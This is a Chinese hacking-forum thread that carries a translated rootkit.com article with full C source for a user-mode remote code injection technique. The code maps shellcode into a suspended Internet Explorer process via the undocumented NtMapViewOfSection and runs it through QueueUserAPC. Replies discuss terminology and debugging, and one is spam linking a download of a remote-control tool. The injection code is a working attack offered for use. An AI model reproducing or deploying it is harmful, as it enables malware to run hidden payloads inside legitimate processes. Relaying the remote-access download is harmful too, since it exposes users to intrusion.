发新话题
打印

[翻译]远程代码注入新技术

[翻译]远程代码注入新技术

信息来源:邪恶八进制信息安全团队(www.eviloctal.com
译文作者:zshoucheng
原始出处:http://www.rootkit.com/newsread.php?newsid=715

远程代码注入新技术
By: yogle

    我研究出了一种新的在远程进程中执行代码的可能性,就是利用一个未文档函数在远程进程地址空间写入代码,并且用一种新的技术在远程进程中执行它,这种技术完全工作在用户模式下,并且不需要特殊的条件比如像管理员权限或者之类的要求。让源码说明一切:(我为我的英文水平感到抱歉,我来自德国)
复制内容到剪贴板
代码:
#define _WIN32_WINNT 0x0400
#include <windows.h>

typedef LONG NTSTATUS, *PNTSTATUS;
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)

typedef enum _SECTION_INHERIT
{
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT;

typedef NTSTATUS (__stdcall *func_NtMapViewOfSection) ( HANDLE, HANDLE, LPVOID, ULONG, SIZE_T, LARGE_INTEGER*, SIZE_T*, SECTION_INHERIT, ULONG, ULONG );

func_NtMapViewOfSection NtMapViewOfSection = NULL;


LPVOID NTAPI MyMapViewOfFileEx( HANDLE hProcess, HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow,
DWORD dwNumberOfBytesToMap, LPVOID lpBaseAddress )  
{
NTSTATUS Status;
LARGE_INTEGER SectionOffset;
ULONG ViewSize;
ULONG Protect;
LPVOID ViewBase;


// 转换偏移量
SectionOffset.LowPart = dwFileOffsetLow;
SectionOffset.HighPart = dwFileOffsetHigh;

// 保存大小和起始地址
ViewBase = lpBaseAddress;
ViewSize = dwNumberOfBytesToMap;

// 转换标志为NT保护属性
if (dwDesiredAccess & FILE_MAP_WRITE)
{
Protect = PAGE_READWRITE;
}
else if (dwDesiredAccess & FILE_MAP_READ)
{
Protect = PAGE_READONLY;
}
else if (dwDesiredAccess & FILE_MAP_COPY)
{
Protect = PAGE_WRITECOPY;
}
else
{
Protect = PAGE_NOACCESS;
}

//映射区段
Status = NtMapViewOfSection(hFileMappingObject,
    hProcess,
    &ViewBase,
    0,
    0,
                &SectionOffset,
    &ViewSize,
                ViewShare,
                0,
    Protect);
if (!NT_SUCCESS(Status))
{
// 失败
return NULL;
}

//返回起始地址
  return ViewBase;
}

int WINAPI WinMain (HINSTANCE, HINSTANCE, LPSTR, int)
{
HMODULE hDll = LoadLibrary( "ntdll.dll" );

NtMapViewOfSection = (func_NtMapViewOfSection) GetProcAddress (hDll, "NtMapViewOfSection");

// 取ShellCode,任何你想实现的
HANDLE hFile = CreateFile ("C:\\shellcode.txt", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

HANDLE hMappedFile = CreateFileMapping (hFile, NULL, PAGE_READONLY, 0, 0, NULL);

// 启动目标进程
STARTUPINFO st;
ZeroMemory (&st, sizeof(st));
st.cb = sizeof (STARTUPINFO);

PROCESS_INFORMATION pi;
ZeroMemory (&pi, sizeof(pi));

CreateProcess ("C:\\Programme\\Internet Explorer\\iexplore.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &st, &pi);


// 注入shellcode到目标进程地址空间
LPVOID MappedFile = MyMapViewOfFileEx (pi.hProcess, hMappedFile, FILE_MAP_READ, 0, 0, 0, NULL);

// 创建一个新的能够在目标线程恢复是首先执行的APC
QueueUserAPC ((PAPCFUNC) MappedFile, pi.hThread, NULL);
ResumeThread (pi.hThread);
CloseHandle (hFile);
CloseHandle (hMappedFile);
CloseHandle (pi.hThread);
CloseHandle (pi.hProcess);
return 0;
}
--->  伱 能 領 導 潮 流.  我 可 領 導 全 賕!  <---

TOP

未文档函数->未公开函数。
BLOG: http://blog.csdn.net/hkbyest

TOP

引用:
引用第1楼evilbogy于2007-06-09 17:40发表的 :
未文档函数->未公开函数。
未公开只是一个片面的说法,下面摘自《Undocumented Windows 2000 Secrets》的翻译:
引用:
第二章 The Windows 2000 Native API

翻译:Kendiv

更新:Saturday, January 29, 2005

本章对于Windows 2000 Native API的讨论,主要集中在这些API和系统模块之间的关系,将重点介绍Windows 2000采用的中断机制。Windows 2000利用此机制将对内核服务的请求从用户模式向内核模式传递。另外,Win32K接口和一些与Native API相关的主要运行时库也会被提及,同时还将介绍一些经常使用的数据类型。

  有关Windows 2000架构的详细讨论已经很多。许多有关Windows NT的讨论同样适用于Windows 2000。《Inside Windows NT》(Custer 1993, Solomon 1998)的第一、二版都是有关此方面的好书,同样的还有《Inside Windows 2000》(Solomon and Russinovich 2000)。

NT*()和Zw*()函数集

  有关Windows 2000架构的一个有趣的事实是:它模拟了多个操作系统。Windows 2000内置三个子系统来支持Win32、POSIX和OS/2应用程序。Win32子系统是最流行的一个,因此它更多的被开发人员和操作系统所关照。在Windows 9x中,Win32接口实际上是作为整个系统的基础结构来实现的。但是,Windows 2000的设计却有很大不同。尽管Win32子系统包含一个名为kernel32.dll的系统模块,但这并不是实际的操作系统内核。它仅仅是Win32子系统的一个基本组件。在很多编程书籍中,Windows NT/2000的软件开发被简化为与Win32 API打交道的工作,NT平台暴露出的一个隐藏的事实是存在另一个更为基础的调用接口:Native API。相信编写kernel-mode driver或file system driver的开发人员已经对Native API非常熟悉了,因为kernel-mode模块位于更低的系统层,在那里子系统是不可见的。然而,你并不需要到驱动程序一层才能访问此接口----即使一个普通的Win32应用程序也可在任何时候调用Native API。这没什么技术上的限制----仅仅是微软不支持此种应用程序开发模式而已。因此,有关此话题的信息并不是很多,neither SDK nor the DDK make the Native API available to Win32 Application.

未文档化的级别

  本书中的多数东西都来自被称为未文档化的信息。这通常意味着微软没有公开发布这些信息。然而,未文档化也存在几个级别,这是因为可能被公布的有关庞大的操作系统(如Windows 2000)的信息非常的多。我个人的系统分类如下:

   正式文档:这些信息来自微软出版的书、文件或者开发工具。大多数重要信息来自SDK、DDK和MSDN。

    半文档化的(Semidocumented):尽管不是正式文档,但这些信息还是可以从微软正式发布的文件中挖掘出来的。例如,Windows 2000的很多函数和结构体并没有在SDK或DDK文档中提到,但出现在一些头文件或示列程序中。以Windows 2000为例,很多重要的半文档化信息都源自头文件ntddk.h和ntdef.h,这两个文件都是DDK的一部分。

    未文档化,但并没有隐藏:这些信息不能在任何官方文档和开发文档中找到,但其中的一部分对调试工具是可用的。可执行文件或符号文件中的所有符号化信息都属于这一部分。最好的例子是内核调试器的!processfields和!threadfields命令,这两个命令会给出两个未文档化的结构:EPROCESS和ETHREAD的成员名称及其偏移量。

    完全未文档化的:微软很好的隐藏了某些信息,要获得它们只能通过逆向工程和推理。此类信息包含很多实现细节的信息,没有人认为Windows 2000开发人员需要关注它们,但是这些信息对于系统开发人员和开发调试软件的人来说却非常宝贵。挖掘系统内部的信息是非常困难的,但同样是非常有趣的。

本书讨论的Windows 2000的内部细节覆盖了上述系统分类的后三个。
--->  伱 能 領 導 潮 流.  我 可 領 導 全 賕!  <---

TOP

事实上Undocumented 就是未正式公开的文档资料,而并不是说它没有归档,
许多Undocumented函数是因为使用了与硬件平台有关的指针或者数据处理方式而产生潜在的兼容性问题才未被公开的,至于那些非常底层的东西,说实在的,除非要自己写调试器或者开发操作系统否则我敢说没什么人会对它们感兴趣,不公开也就相当正常了,当然你还是可以从许多书籍中获得这些知识,牛人还真的是牛人啊~

所以我并不认为张军的翻译就完全准确,
不过关于这种问题一向都是见仁见智,
在这里我只是觉得“未公开”总比“未文档”这个解释来得顺口多了。

抛开这种带有主观性的字眼问题,LZ这篇文章里面的东西真的是很有用,呵呵。
BLOG: http://blog.csdn.net/hkbyest

TOP

感谢提供如此好的代码!

TOP

将来有一天我也许可以看的懂 努力中

将来有一天我也许可以看的懂 努力中
d

TOP

LPVOID MappedFile = MyMapViewOfFileEx (pi.hProcess, hMappedFile, FILE_MAP_READ, 0, 0, 0, NULL);


我觉得这部分写的好

TOP

柳暗花明又一村啊,新!

TOP

初次来到看到这东西真头晕

TOP

学习学习吧!
努力中。。。
杨霖

TOP

学习中..............
看的有点不明白 ..

TOP

学习ing黑伤血
做人一定要低调,不要以为你很牛。。。。。

TOP

有人测试过没有,我测试没有成功,有什么需要注意的地方没有?

Status = NtMapViewOfSection(hFileMappingObject,
    hProcess,
    &ViewBase,
    0,
    0,
                &SectionOffset,
    &ViewSize,
                ViewShare,
                0,
    Protect);
返回总是失败

TOP

引用:
原帖由 muminzhantian 于 2008-3-21 20:46 发表
文章作者:muminzhantian


牧民鸽子最新版下载

下载地址:http://www.158166.com/yuankong.rar

官方网站:http://gz.158166.com

破解牧民远控最真实的网站
广告广告 版主删除

TOP

看不太懂的说啊~~~~~~~~ 汗了~

TOP

这么好的贴不顶不行!

TOP

发新话题